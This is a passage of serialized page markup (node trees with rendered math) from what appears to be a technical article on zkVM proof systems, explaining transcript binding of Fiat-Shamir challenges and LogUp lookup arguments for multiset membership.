fixed challenge point ",{"type":21,"tag":66,"props":113222,"children":113224},{"className":113223},[4748,4749],[113225],{"type":21,"tag":85,"props":113226,"children":113228},{"className":113227},[4754],[113229],{"type":21,"tag":85,"props":113230,"children":113232},{"className":113231,"ariaHidden":4760},[4759],[113233],{"type":21,"tag":85,"props":113234,"children":113236},{"className":113235},[4765],[113237,113241],{"type":21,"tag":85,"props":113238,"children":113240},{"className":113239,"style":112744},[4770],[],{"type":21,"tag":85,"props":113242,"children":113244},{"className":113243},[4776,112658],[113245],{"type":21,"tag":85,"props":113246,"children":113248},{"className":113247},[4798],[113249],{"type":21,"tag":85,"props":113250,"children":113252},{"className":113251},[4803],[113253],{"type":21,"tag":85,"props":113254,"children":113256},{"className":113255,"style":112744},[4808],[113257,113269],{"type":21,"tag":85,"props":113258,"children":113259},{"style":112675},[113260,113264],{"type":21,"tag":85,"props":113261,"children":113263},{"className":113262,"style":112680},[4817],[],{"type":21,"tag":85,"props":113265,"children":113267},{"className":113266,"style":93509},[4776,22016],[113268],{"type":26,"value":94328},{"type":21,"tag":85,"props":113270,"children":113271},{"style":112675},[113272,113276],{"type":21,"tag":85,"props":113273,"children":113275},{"className":113274,"style":112680},[4817],[],{"type":21,"tag":85,"props":113277,"children":113279},{"className":113278,"style":112768},[112698],[113280],{"type":21,"tag":85,"props":113281,"children":113283},{"className":113282,"style":112774},[112773],[113284],{"type":21,"tag":34720,"props":113285,"children":113286},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113287],{"type":21,"tag":112786,"props":113288,"children":113289},{"d":112788},[],{"type":26,"value":113291},", the coefficients ",{"type":21,"tag":66,"props":113293,"children":113295},{"className":113294},[4748,4749],[113296],{"type":21,"tag":85,"props":113297,"children":113299},{"className":113298},[4754],[113300],{"type":21,"tag":85,"props":113301,"children":113303},{"className":113302,"ariaHidden":4760},[4759],[113304],{"type":21,"tag":85,"props":113305,"children":113307},{"className":113306},[4765],[113308,113312,113321,113326,113375,113380,113384,113433],{"type":21,"tag":85,"props":113309,"children":113311},{"className":113310,"style":113087},[4770],[],{"type":21,"tag":85,"props":113313,"children":113315},{"className":113314},[4776,26],[113316],{"type":21,"tag":85,"props":113317,"children":113319},{"className":113318},[4776],[113320],{"type":26,"value":113098},{"type":21,"tag":85,"props":113322,"children":113324},{"className":113323},[22145],[113325],{"type":26,"value":1439},{"type":21,"tag":85,"props":113327,"children":113329},{"className":113328},[4776,112658],[113330],{"type":21,"tag":85,"props":113331,"children":113333},{"className":113332},[4798],[113334],{"type":21,"tag":85,"props":113335,"children":113337},{"className":113336},[4803],[113338],{"type":21,"tag":85,"props":113339,"children":113341},{"className":113340,"style":112874},[4808],[113342,113354],{"type":21,"tag":85,"props":113343,"children":113344},{"style":112675},[113345,113349],{"type":21,"tag":85,"props":113346,"children":113348},{"className":113347,"style":112680},[4817],[],{"type":21,"tag":85,"props":113350,"children":113352},{"className":113351},[4776,22016],[113353],{"type":26,"value":3994},{"type":21,"tag":85,"props":113355,"children":113356},{"style":113042},[113357,113361],{"type":21,"tag":85,"props":113358,"children":113360},{"className":113359,"style":112680},[4817],[],{"type":21,"tag":85,"props":113362,"children":113364},{"className":113363,"style":112901},[112698],[113365],{"type":21,"tag":85,"props":113366,"children":113368},{"className":113367,"style":112774},[112773],[113369],{"type":21,"tag":34720,"props":113370,"children":113371},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113372],{"type":21,"tag":112786,"props":113373,"children":113374},{"d":112788},[],{"type":21,"tag":85,"props":113376,"children":113378},{"className":113377},[4889],[113379],{"type":26,"value":4892},{"type":21,"tag":85,"props":113381,"children":113383},{"className":113382,"style":4896},[4857],[],{"type":21,"tag":85,"props":113385,"children":113387},{"className":113386},[4776,112658],[113388],{"type":21,"tag":85,"props":113389,"children":113391},{"className":113390},[4798],[113392],{"type":21,"tag":85,"props":113393,"children":113395},{"className":113394},[4803],[113396],{"type":21,"tag":85,"props":113397,"children":113399},{"className":113398,"style":112744},[4808],[113400,113412],{"type":21,"tag":85,"props":113401,"children":113402},{"style":112675},[113403,113407],{"type":21,"tag":85,"props":113404,"children":113406},{"className":113405,"style":112680},[4817],[],{"type":21,"tag":85,"props":113408,"children":113410},{"className":113409,"style":93509},[4776,22016],[113411],{"type":26,"value":94328},{"type":21,"tag":85,"props":113413,"children":113414},{"style":112675},[113415,113419],{"type":21,"tag":85,"props":113416,"children":113418},{"className":113417,"style":112680},[4817],[],{"type":21,"tag":85,"props":113420,"children":113422},{"className":113421,"style":112768},[112698],[113423],{"type":21,"tag":85,"props":113424,"children":113426},{"className":113425,"style":112774},[112773],[113427],{"type":21,"tag":34720,"props":113428,"children":113429},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113430],{"type":21,"tag":112786,"props":113431,"children":113432},{"d":112788},[],{"type":21,"tag":85,"props":113434,"children":113436},{"className":113435},[22167],[113437],{"type":26,"value":1900},{"type":26,"value":113439}," are constants, so ",{"type":21,"tag":66,"props":113441,"children":113443},{"className":113442},[4748,4749],[113444],{"type":21,"tag":85,"props":113445,"children":113447},{"className":113446},[4754],[113448],{"type":21,"tag":85,"props":113449,"children":113451},{"className":113450,"ariaHidden":4760},[4759],[113452],{"type":21,"tag":85,"props":113453,"children":113455},{"className":113454},[4765],[113456,113460,113520,113525,113574],{"type":21,"tag":85,"props":113457,"children":113459},{"className":113458,"style":112653},[4770],[],{"type":21,"tag":85,"props":113461,"children":113463},{"className":113462},[4776,112658],[113464],{"type":21,"tag":85,"props":113465,"children":113467},{"className":113466},[4798,22070],[113468,113509],{"type":21,"tag":85,"props":113469,"children":113471},{"className":113470},[4803],[113472,113504],{"type":21,"tag":85,"props":113473,"children":113475},{"className":113474,"style":112671},[4808],[113476,113488],{"type":21,"tag":85,"props":113477,"children":113478},{"style":112675},[113479,113483],{"type":21,"tag":85,"props":113480,"children":113482},{"className":113481,"style":112680},[4817],[],{"type":21,"tag":85,"props":113484,"children":113486},{"className":113485,"style":95863},[4776,22016],[113487],{"type":26,"value":33531},{"type":21,"tag":85,"props":113489,"children":113490},{"style":112689},[113491,113495],{"type":21,"tag":85,"props":113492,"children":113494},{"className":113493,"style":112680},[4817],[],{"type":21,"tag":85,"props":113496,"children":113498},{"className":113497,"style":112699},[112698],[113499],{"type":21,"tag":85,"props":113500,"children":113502},{"className":113501},[4776],[113503],{"type":26,"value":112706},{"type":21,"tag":85,"props":113505,"children":113507},{"className":113506},[22173],[113508],{"type":26,"value":22176},{"type":21,"tag":85,"props":113510,"children":113512},{"className":113511},[4803],[113513],{"type":21,"tag":85,"props":113514,"children":113516},{"className":113515,"style":112719},[4808],[113517],{"type":21,"tag":85,"props":113518,"children":113519},{},[],{"type":21,"tag":85,"props":113521,"children":113523},{"className":113522},[22145],[113524],{"type":26,"value":1439},{"type":21,"tag":85,"props":113526,"children":113528},{"className":113527},[4776,112658],[113529],{"type":21,"tag":85,"props":113530,"children":113532},{"className":113531},[4798],[113533],{"type":21,"tag":85,"props":113534,"children":113536},{"className":113535},[4803],[113537],{"type":21,"tag":85,"props":113538,"children":113540},{"className":113539,"style":112744},[4808],[113541,113553],{"type":21,"tag":85,"props":113542,"children":113543},{"style":112675},[113544,113548],{"type":21,"tag":85,"props":113545,"children":113547},{"className":113546,"style":112680},[4817],[],{"type":21,"tag":85,"props":113549,"children":113551},{"className":113550,"style":93509},[4776,22016],[113552],{"type":26,"value":94328},{"type":21,"tag":85,"props":113554,"children":113555},{"style":112675},[113556,113560],{"type":21,"tag":85,"props":113557,"children":113559},{"className":113558,"style":112680},[4817],[],{"type":21,"tag":85,"props":113561,"children":113563},{"className":113562,"style":112768},[112698],[113564],{"type":21,"tag":85,"props":113565,"children":113567},{"className":113566,"style":112774},[112773],[113568],{"type":21,"tag":34720,"props":113569,"children":113570},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113571],{"type":21,"tag":112786,"props":113572,"children":113573},{"d":112788},[],{"type":21,"tag":85,"props":113575,"children":113577},{"className":113576},[22167],[113578],{"type":26,"value":1900},{"type":26,"value":113580}," is linear in the table values ",{"type":21,"tag":66,"props":113582,"children":113584},{"className":113583},[4748,4749],[113585],{"type":21,"tag":85,"props":113586,"children":113588},{"className":113587},[4754],[113589],{"type":21,"tag":85,"props":113590,"children":113592},{"className":113591,"ariaHidden":4760},[4759],[113593],{"type":21,"tag":85,"props":113594,"children":113596},{"className":113595},[4765],[113597,113601,113606,113611,113660],{"type":21,"tag":85,"props":113598,"children":113600},{"className":113599,"style":113087},[4770],[],{"type":21,"tag":85,"props":113602,"children":113604},{"className":113603,"style":95863},[4776,22016],[113605],{"type":26,"value":33531},{"type":21,"tag":85,"props":113607,"children":113609},{"className":113608},[22145],[113610],{"type":26,"value":1439},{"type":21,"tag":85,"props":113612,"children":113614},{"className":113613},[4776,112658],[113615],{"type":21,"tag":85,"props":113616,"children":113618},{"className":113617},[4798],[113619],{"type":21,"tag":85,"props":113620,"children":113622},{"className":113621},[4803],[113623],{"type":21,"tag":85,"props":113624,"children":113626},{"className":113625,"style":112874},[4808],[113627,113639],{"type":21,"tag":85,"props":113628,"children":113629},{"style":112675},[113630,113634],{"type":21,"tag":85,"props":113631,"children":113633},{"className":113632,"style":112680},[4817],[],{"type":21,"tag":85,"props":113635,"children":113637},{"className":113636},[4776,22016],[113638],{"type":26,"value":3994},{"type":21,"tag":85,"props":113640,"children":113641},{"style":113042},[113642,113646],{"type":21,"tag":85,"props":113643,"children":113645},{"className":113644,"style":112680},[4817],[],{"type":21,"tag":85,"props":113647,"children":113649},{"className":113648,"style":112901},[112698],[113650],{"type":21,"tag":85,"props":113651,"children":113653},{"className":113652,"style":112774},[112773],[113654],{"type":21,"tag":34720,"props":113655,"children":113656},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113657],{"type":21,"tag":112786,"props":113658,"children":113659},{"d":112788},[],{"type":21,"tag":85,"props":113661,"children":113663},{"className":113662},[22167],[113664],{"type":26,"value":1900},{"type":26,"value":73},{"type":21,"tag":22,"props":113667,"children":113668},{},[113669,113671,113740],{"type":26,"value":113670},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":21,"tag":66,"props":113672,"children":113674},{"className":113673},[4748,4749],[113675],{"type":21,"tag":85,"props":113676,"children":113678},{"className":113677},[4754],[113679],{"type":21,"tag":85,"props":113680,"children":113682},{"className":113681,"ariaHidden":4760},[4759],[113683],{"type":21,"tag":85,"props":113684,"children":113686},{"className":113685},[4765],[113687,113691],{"type":21,"tag":85,"props":113688,"children":113690},{"className":113689,"style":112744},[4770],[],{"type":21,"tag":85,"props":113692,"children":113694},{"className":113693},[4776,112658],[113695],{"type":21,"tag":85,"props":113696,"children":113698},{"className":113697},[4798],[113699],{"type":21,"tag":85,"props":113700,"children":113702},{"className":113701},[4803],[113703],{"type":21,"tag":85,"props":113704,"children":113706},{"className":113705,"style":112744},[4808],[113707,113719],{"type":21,"tag":85,"props":113708,"children":113709},{"style":112675},[113710,113714],{"type":21,"tag":85,"props":113711,"children":113713},{"className":113712,"style":112680},[4817],[],{"type":21,"tag":85,"props":113715,"children":113717},{"className":113716,"style":93509},[4776,22016],[113718],{"type":26,"value":94328},{"type":21,"tag":85,"props":113720,"children":113721},{"style":112675},[113722,113726],{"type":21,"tag":85,"props":113723,"children":113725},{"className":113724,"style":112680},[4817],[],{"type":21,"tag":85,"props":113727,"children":113729},{"className":113728,"style":112768},[112698],[113730],{"type":21,"tag":85,"props":113731,"children":113733},{"className":113732,"style":112774},[112773],[113734],{"type":21,"tag":34720,"props":113735,"children":113736},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113737],{"type":21,"tag":112786,"props":113738,"children":113739},{"d":112788},[],{"type":26,"value":113741}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":21,"tag":10022,"props":113743,"children":113745},{"id":113744},"lookup-arguments-logup",[113746],{"type":26,"value":113747},"Lookup Arguments (LogUp)",{"type":21,"tag":22,"props":113749,"children":113750},{},[113751],{"type":26,"value":113752},"zkVMs need to check that values satisfy certain properties. For example:",{"type":21,"tag":17108,"props":113754,"children":113755},{},[113756,113812,113817],{"type":21,"tag":845,"props":113757,"children":113758},{},[113759,113761,113811],{"type":26,"value":113760},"Is this byte in range ",{"type":21,"tag":66,"props":113762,"children":113764},{"className":113763},[4748,4749],[113765],{"type":21,"tag":85,"props":113766,"children":113768},{"className":113767},[4754],[113769],{"type":21,"tag":85,"props":113770,"children":113772},{"className":113771,"ariaHidden":4760},[4759],[113773],{"type":21,"tag":85,"props":113774,"children":113776},{"className":113775},[4765],[113777,113781,113786,113791,113796,113800,113806],{"type":21,"tag":85,"props":113778,"children":113780},{"className":113779,"style":4878},[4770],[],{"type":21,"tag":85,"props":113782,"children":113784},{"className":113783},[22145],[113785],{"type":26,"value":3016},{"type":21,"tag":85,"props":113787,"children":113789},{"className":113788},[4776],[113790],{"type":26,"value":4789},{"type":21,"tag":85,"props":113792,"children":113794},{"className":113793},[4889],[113795],{"type":26,"value":4892},{"type":21,"tag":85,"props":113797,"children":113799},{"className":113798,"style":4896},[4857],[],{"type":21,"tag":85,"props":113801,"children":113803},{"className":113802},[4776],[113804],{"type":26,"value":113805},"255",{"type":21,"tag":85,"props":113807,"children":113809},{"className":113808},[22167],[113810],{"type":26,"value":15830},{"type":26,"value":3927},{"type":21,"tag":845,"props":113813,"children":113814},{},[113815],{"type":26,"value":113816},"Does this opcode decode correctly?",{"type":21,"tag":845,"props":113818,"children":113819},{},[113820],{"type":26,"value":113821},"Is this memory access consistent with previous accesses?",{"type":21,"tag":22,"props":113823,"children":113824},{},[113825,113830],{"type":21,"tag":873,"props":113826,"children":113827},{},[113828],{"type":26,"value":113829},"The naive approach:",{"type":26,"value":113831}," Add constraints for each check. Expensive.",{"type":21,"tag":22,"props":113833,"children":113834},{},[113835,113840,113842,113847],{"type":21,"tag":873,"props":113836,"children":113837},{},[113838],{"type":26,"value":113839},"The clever approach:",{"type":26,"value":113841}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":21,"tag":873,"props":113843,"children":113844},{},[113845],{"type":26,"value":113846},"multiset membership",{"type":26,"value":68255},{"type":21,"tag":22,"props":113849,"children":113850},{},[113851,113856],{"type":21,"tag":873,"props":113852,"children":113853},{},[113854],{"type":26,"value":113855},"LogUp (Logarithmic Derivative):",{"type":26,"value":113857}," Encode multiset membership as a sum of fractions.",{"type":21,"tag":22,"props":113859,"children":113860},{},[113861,113863,113888,113890,113917],{"type":26,"value":113862},"If set ",{"type":21,"tag":66,"props":113864,"children":113866},{"className":113865},[4748,4749],[113867],{"type":21,"tag":85,"props":113868,"children":113870},{"className":113869},[4754],[113871],{"type":21,"tag":85,"props":113872,"children":113874},{"className":113873,"ariaHidden":4760},[4759],[113875],{"type":21,"tag":85,"props":113876,"children":113878},{"className":113877},[4765],[113879,113883],{"type":21,"tag":85,"props":113880,"children":113882},{"className":113881,"style":22011},[4770],[],{"type":21,"tag":85,"props":113884,"children":113886},{"className":113885},[4776,22016],[113887],{"type":26,"value":77229},{"type":26,"value":113889}," should equal set ",{"type":21,"tag":66,"props":113891,"children":113893},{"className":113892},[4748,4749],[113894],{"type":21,"tag":85,"props":113895,"children":113897},{"className":113896},[4754],[113898],{"type":21,"tag":85,"props":113899,"children":113901},{"className":113900,"ariaHidden":4760},[4759],[113902],{"type":21,"tag":85,"props":113903,"children":113905},{"className":113904},[4765],[113906,113910],{"type":21,"tag":85,"props":113907,"children":113909},{"className":113908,"style":22011},[4770],[],{"type":21,"tag":85,"props":113911,"children":113914},{"className":113912,"style":113913},[4776,22016],"margin-right:0.05017em;",[113915],{"type":26,"value":113916},"B",{"type":26,"value":113918}," as multisets:",{"type":21,"tag":22,"props":113920,"children":113921},{},[113922],{"type":21,"tag":66,"props":113923,"children":113925},{"className":113924},[4748,4749],[113926],{"type":21,"tag":85,"props":113927,"children":113929},{"className":113928},[4754],[113930],{"type":21,"tag":85,"props":113931,"children":113933},{"className":113932,"ariaHidden":4760},[4759],[113934,114149],{"type":21,"tag":85,"props":113935,"children":113937},{"className":113936},[4765],[113938,113943,114016,114020,114136,114140,114145],{"type":21,"tag":85,"props":113939,"children":113942},{"className":113940,"style":113941},[4770],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":21,"tag":85,"props":113944,"children":113946},{"className":113945},[22052],[113947,113952],{"type":21,"tag":85,"props":113948,"children":113950},{"className":113949,"style":22059},[22052,22057,22058],[113951],{"type":26,"value":109304},{"type":21,"tag":85,"props":113953,"children":113955},{"className":113954},[4793],[113956],{"type":21,"tag":85,"props":113957,"children":113959},{"className":113958},[4798,22070],[113960,114004],{"type":21,"tag":85,"props":113961,"children":113963},{"className":113962},[4803],[113964,113999],{"type":21,"tag":85,"props":113965,"children":113968},{"className":113966,"style":113967},[4808],"height:0.1786em;",[113969],{"type":21,"tag":85,"props":113970,"children":113971},{"style":22083},[113972,113976],{"type":21,"tag":85,"props":113973,"children":113975},{"className":113974,"style":4818},[4817],[],{"type":21,"tag":85,"props":113977,"children":113979},{"className":113978},[4823,4824,4825,4826],[113980],{"type":21,"tag":85,"props":113981,"children":113983},{"className":113982},[4776,4826],[113984,113989,113994],{"type":21,"tag":85,"props":113985,"children":113987},{"className":113986},[4776,22016,4826],[113988],{"type":26,"value":335},{"type":21,"tag":85,"props":113990,"children":113992},{"className":113991},[4960,4826],[113993],{"type":26,"value":22123},{"type":21,"tag":85,"props":113995,"children":113997},{"className":113996},[4776,22016,4826],[113998],{"type":26,"value":77229},{"type":21,"tag":85,"props":114000,"children":114002},{"className":114001},[22173],[114003],{"type":26,"value":22176},{"type":21,"tag":85,"props":114005,"children":114007},{"className":114006},[4803],[114008],{"type":21,"tag":85,"props":114009,"children":114012},{"className":114010,"style":114011},[4808],"height:0.3271em;",[114013],{"type":21,"tag":85,"props":114014,"children":114015},{},[],{"type":21,"tag":85,"props":114017,"children":114019},{"className":114018,"style":4896},[4857],[],{"type":21,"tag":85,"props":114021,"children":114023},{"className":114022},[4776],[114024,114029,114132],{"type":21,"tag":85,"props":114025,"children":114028},{"className":114026},[22145,114027],"nulldelimiter",[],{"type":21,"tag":85,"props":114030,"children":114033},{"className":114031},[114032],"mfrac",[114034],{"type":21,"tag":85,"props":114035,"children":114037},{"className":114036},[4798,22070],[114038,114120],{"type":21,"tag":85,"props":114039,"children":114041},{"className":114040},[4803],[114042,114115],{"type":21,"tag":85,"props":114043,"children":114046},{"className":114044,"style":114045},[4808],"height:0.8451em;",[114047,114080,114094],{"type":21,"tag":85,"props":114048,"children":114050},{"style":114049},"top:-2.655em;",[114051,114055],{"type":21,"tag":85,"props":114052,"children":114054},{"className":114053,"style":112680},[4817],[],{"type":21,"tag":85,"props":114056,"children":114058},{"className":114057},[4823,4824,4825,4826],[114059],{"type":21,"tag":85,"props":114060,"children":114062},{"className":114061},[4776,4826],[114063,114070,114075],{"type":21,"tag":85,"props":114064,"children":114067},{"className":114065,"style":114066},[4776,22016,4826],"margin-right:0.04398em;",[114068],{"type":26,"value":114069},"z",{"type":21,"tag":85,"props":114071,"children":114073},{"className":114072},[4863,4826],[114074],{"type":26,"value":4837},{"type":21,"tag":85,"props":114076,"children":114078},{"className":114077},[4776,22016,4826],[114079],{"type":26,"value":335},{"type":21,"tag":85,"props":114081,"children":114083},{"style":114082},"top:-3.23em;",[114084,114088],{"type":21,"tag":85,"props":114085,"children":114087},{"className":114086,"style":112680},[4817],[],{"type":21,"tag":85,"props":114089,"children":114093},{"className":114090,"style":114092},[114091],"frac-line","border-bottom-width:0.04em;",[],{"type":21,"tag":85,"props":114095,"children":114097},{"style":114096},"top:-3.394em;",[114098,114102],{"type":21,"tag":85,"props":114099,"children":114101},{"className":114100,"style":112680},[4817],[],{"type":21,"tag":85,"props":114103,"children":114105},{"className":114104},[4823,4824,4825,4826],[114106],{"type":21,"tag":85,"props":114107,"children":114109},{"className":114108},[4776,4826],[114110],{"type":21,"tag":85,"props":114111,"children":114113},{"className":114112},[4776,4826],[114114],{"type":26,"value":4779},{"type":21,"tag":85,"props":114116,"children":114118},{"className":114117},[22173],[114119],{"type":26,"value":22176},{"type":21,"tag":85,"props":114121,"children":114123},{"className":114122},[4803],[114124],{"type":21,"tag":85,"props":114125,"children":114128},{"className":114126,"style":114127},[4808],"height:0.4033em;",[114129],{"type":21,"tag":85,"props":114130,"children":114131},{},[],{"type":21,"tag":85,"props":114133,"children":114135},{"className":114134},[22167,114027],[],{"type":21,"tag":85,"props":114137,"children":114139},{"className":114138,"style":4955},[4857],[],{"type":21,"tag":85,"props":114141,"children":114143},{"className":114142},[4960],[114144],{"type":26,"value":741},{"type":21,"tag":85,"props":114146,"children":114148},{"className":114147,"style":4955},[4857],[],{"type":21,"tag":85,"props":114150,"children":114152},{"className":114151},[4765],[114153,114157,114229,114233],{"type":21,"tag":85,"props":114154,"children":114156},{"className":114155,"style":113941},[4770],[],{"type":21,"tag":85,"props":114158,"children":114160},{"className":114159},[22052],[114161,114166],{"type":21,"tag":85,"props":114162,"children":114164},{"className":114163,"style":22059},[22052,22057,22058],[114165],{"type":26,"value":109304},{"type":21,"tag":85,"props":114167,"children":114169},{"className":114168},[4793],[114170],{"type":21,"tag":85,"props":114171,"children":114173},{"className":114172},[4798,22070],[114174,114218],{"type":21,"tag":85,"props":114175,"children":114177},{"className":114176},[4803],[114178,114213],{"type":21,"tag":85,"props":114179,"children":114182},{"className":114180,"style":114181},[4808],"height:0.1864em;",[114183],{"type":21,"tag":85,"props":114184,"children":114185},{"style":22083},[114186,114190],{"type":21,"tag":85,"props":114187,"children":114189},{"className":114188,"style":4818},[4817],[],{"type":21,"tag":85,"props":114191,"children":114193},{"className":114192},[4823,4824,4825,4826],[114194],{"type":21,"tag":85,"props":114195,"children":114197},{"className":114196},[4776,4826],[114198,114203,114208],{"type":21,"tag":85,"props":114199,"children":114201},{"className":114200},[4776,22016,4826],[114202],{"type":26,"value":3994},{"type":21,"tag":85,"props":114204,"children":114206},{"className":114205},[4960,4826],[114207],{"type":26,"value":22123},{"type":21,"tag":85,"props":114209,"children":114211},{"className":114210,"style":113913},[4776,22016,4826],[114212],{"type":26,"value":113916},{"type":21,"tag":85,"props":114214,"children":114216},{"className":114215},[22173],[114217],{"type":26,"value":22176},{"type":21,"tag":85,"props":114219,"children":114221},{"className":114220},[4803],[114222],{"type":21,"tag":85,"props":114223,"children":114225},{"className":114224,"style":114011},[4808],[114226],{"type":21,"tag":85,"props":114227,"children":114228},{},[],{"type":21,"tag":85,"props":114230,"children":114232},{"className":114231,"style":4896},[4857],[],{"type":21,"tag":85,"props":114234,"children":114236},{"className":114235},[4776],[114237,114241,114334],{"type":21,"tag":85,"props":114238,"children":114240},{"className":114239},[22145,114027],[],{"type":21,"tag":85,"props":114242,"children":114244},{"className":114243},[114032],[114245],{"type":21,"tag":85,"props":114246,"children":114248},{"className":114247},[4798,22070],[114249,114323],{"type":21,"tag":85,"props":114250,"children":114252},{"className":114251},[4803],[114253,114318],{"type":21,"tag":85,"props":114254,"children":114256},{"className":114255,"style":114045},[4808],[114257,114287,114298],{"type":21,"tag":85,"props":114258,"children":114259},{"style":114049},[114260,114264],{"type":21,"tag":85,"props":114261,"children":114263},{"className":114262,"style":112680},[4817],[],{"type":21,"tag":85,"props":114265,"children":114267},{"className":114266},[4823,4824,4825,4826],[114268],{"type":21,"tag":85,"props":114269,"children":114271},{"className":114270},[4776,4826],[114272,114277,114282],{"type":21,"tag":85,"props":114273,"children":114275},{"className":114274,"style":114066},[4776,22016,4826],[114276],{"type":26,"value":114069},{"type":21,"tag":85,"props":114278,"children":114280},{"className":114279},[4863,4826],[114281],{"type":26,"value":4837},{"type":21,"tag":85,"props":114283,"children":114285},{"className":114284},[4776,22016,4826],[114286],{"type":26,"value":3994},{"type":21,"tag":85,"props":114288,"children":114289},{"style":114082},[114290,114294],{"type":21,"tag":85,"props":114291,"children":114293},{"className":114292,"style":112680},[4817],[],{"type":21,"tag":85,"props":114295,"children":114297},{"className":114296,"style":114092},[114091],[],{"type":21,"tag":85,"props":114299,"children":114300},{"style":114096},[114301,114305],{"type":21,"tag":85,"props":114302,"children":114304},{"className":114303,"style":112680},[4817],[],{"type":21,"tag":85,"props":114306,"children":114308},{"className":114307},[4823,4824,4825,4826],[114309],{"type":21,"tag":85,"props":114310,"children":114312},{"className":114311},[4776,4826],[114313],{"type":21,"tag":85,"props":114314,"children":114316},{"className":114315},[4776,4826],[114317],{"type":26,"value":4779},{"type":21,"tag":85,"props":114319,"children":114321},{"className":114320},[22173],[114322],{"type":26,"value":22176},{"type":21,"tag":85,"props":114324,"children":114326},{"className":114325},[4803],[114327],{"type":21,"tag":85,"props":114328,"children":114330},{"className":114329,"style":114127},[4808],[114331],{"type":21,"tag":85,"props":114332,"children":114333},{},[],{"type":21,"tag":85,"props":114335,"children":114337},{"className":114336},[22167,114027],[],{"type":21,"tag":22,"props":114339,"children":114340},{},[114341,114343,114368],{"type":26,"value":114342},"for random challenge ",{"type":21,"tag":66,"props":114344,"children":114346},{"className":114345},[4748,4749],[114347],{"type":21,"tag":85,"props":114348,"children":114350},{"className":114349},[4754],[114351],{"type":21,"tag":85,"props":114352,"children":114354},{"className":114353,"ariaHidden":4760},[4759],[114355],{"type":21,"tag":85,"props":114356,"children":114358},{"className":114357},[4765],[114359,114363],{"type":21,"tag":85,"props":114360,"children":114362},{"className":114361,"style":111350},[4770],[],{"type":21,"tag":85,"props":114364,"children":114366},{"className":114365,"style":114066},[4776,22016],[114367],{"type":26,"value":114069},{"type":26,"value":114369},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":21,"tag":22,"props":114371,"children":114372},{},[114373,114378],{"type":21,"tag":873,"props":114374,"children":114375},{},[114376],{"type":26,"value":114377},"In zkVMs:",{"type":26,"value":114379}," Different components emit and consume lookup tuples:",{"type":21,"tag":17108,"props":114381,"children":114382},{},[114383,114470],{"type":21,"tag":845,"props":114384,"children":114385},{},[114386,114388,114414,114416,114441,114443,114469],{"type":26,"value":114387},"CPU emits: \"I read value ",{"type":21,"tag":66,"props":114389,"children":114391},{"className":114390},[4748,4749],[114392],{"type":21,"tag":85,"props":114393,"children":114395},{"className":114394},[4754],[114396],{"type":21,"tag":85,"props":114397,"children":114399},{"className":114398,"ariaHidden":4760},[4759],[114400],{"type":21,"tag":85,"props":114401,"children":114403},{"className":114402},[4765],[114404,114408],{"type":21,"tag":85,"props":114405,"children":114407},{"className":114406,"style":111350},[4770],[],{"type":21,"tag":85,"props":114409,"children":114411},{"className":114410,"style":93995},[4776,22016],[114412],{"type":26,"value":114413},"v",{"type":26,"value":114415}," from address ",{"type":21,"tag":66,"props":114417,"children":114419},{"className":114418},[4748,4749],[114420],{"type":21,"tag":85,"props":114421,"children":114423},{"className":114422},[4754],[114424],{"type":21,"tag":85,"props":114425,"children":114427},{"className":114426,"ariaHidden":4760},[4759],[114428],{"type":21,"tag":85,"props":114429,"children":114431},{"className":114430},[4765],[114432,114436],{"type":21,"tag":85,"props":114433,"children":114435},{"className":114434,"style":111350},[4770],[],{"type":21,"tag":85,"props":114437,"children":114439},{"className":114438},[4776,22016],[114440],{"type":26,"value":335},{"type":26,"value":114442}," at time ",{"type":21,"tag":66,"props":114444,"children":114446},{"className":114445},[4748,4749],[114447],{"type":21,"tag":85,"props":114448,"children":114450},{"className":114449},[4754],[114451],{"type":21,"tag":85,"props":114452,"children":114454},{"className":114453,"ariaHidden":4760},[4759],[114455],{"type":21,"tag":85,"props":114456,"children":114458},{"className":114457},[4765],[114459,114464],{"type":21,"tag":85,"props":114460,"children":114463},{"className":114461,"style":114462},[4770],"height:0.6151em;",[],{"type":21,"tag":85,"props":114465,"children":114467},{"className":114466},[4776,22016],[114468],{"type":26,"value":22158},{"type":26,"value":20487},{"type":21,"tag":845,"props":114471,"children":114472},{},[114473,114475,114500,114502,114527,114529,114554],{"type":26,"value":114474},"Memory table consumes: \"At time ",{"type":21,"tag":66,"props":114476,"children":114478},{"className":114477},[4748,4749],[114479],{"type":21,"tag":85,"props":114480,"children":114482},{"className":114481},[4754],[114483],{"type":21,"tag":85,"props":114484,"children":114486},{"className":114485,"ariaHidden":4760},[4759],[114487],{"type":21,"tag":85,"props":114488,"children":114490},{"className":114489},[4765],[114491,114495],{"type":21,"tag":85,"props":114492,"children":114494},{"className":114493,"style":114462},[4770],[],{"type":21,"tag":85,"props":114496,"children":114498},{"className":114497},[4776,22016],[114499],{"type":26,"value":22158},{"type":26,"value":114501},", address ",{"type":21,"tag":66,"props":114503,"children":114505},{"className":114504},[4748,4749],[114506],{"type":21,"tag":85,"props":114507,"children":114509},{"className":114508},[4754],[114510],{"type":21,"tag":85,"props":114511,"children":114513},{"className":114512,"ariaHidden":4760},[4759],[114514],{"type":21,"tag":85,"props":114515,"children":114517},{"className":114516},[4765],[114518,114522],{"type":21,"tag":85,"props":114519,"children":114521},{"className":114520,"style":111350},[4770],[],{"type":21,"tag":85,"props":114523,"children":114525},{"className":114524},[4776,22016],[114526],{"type":26,"value":335},{"type":26,"value":114528}," contained 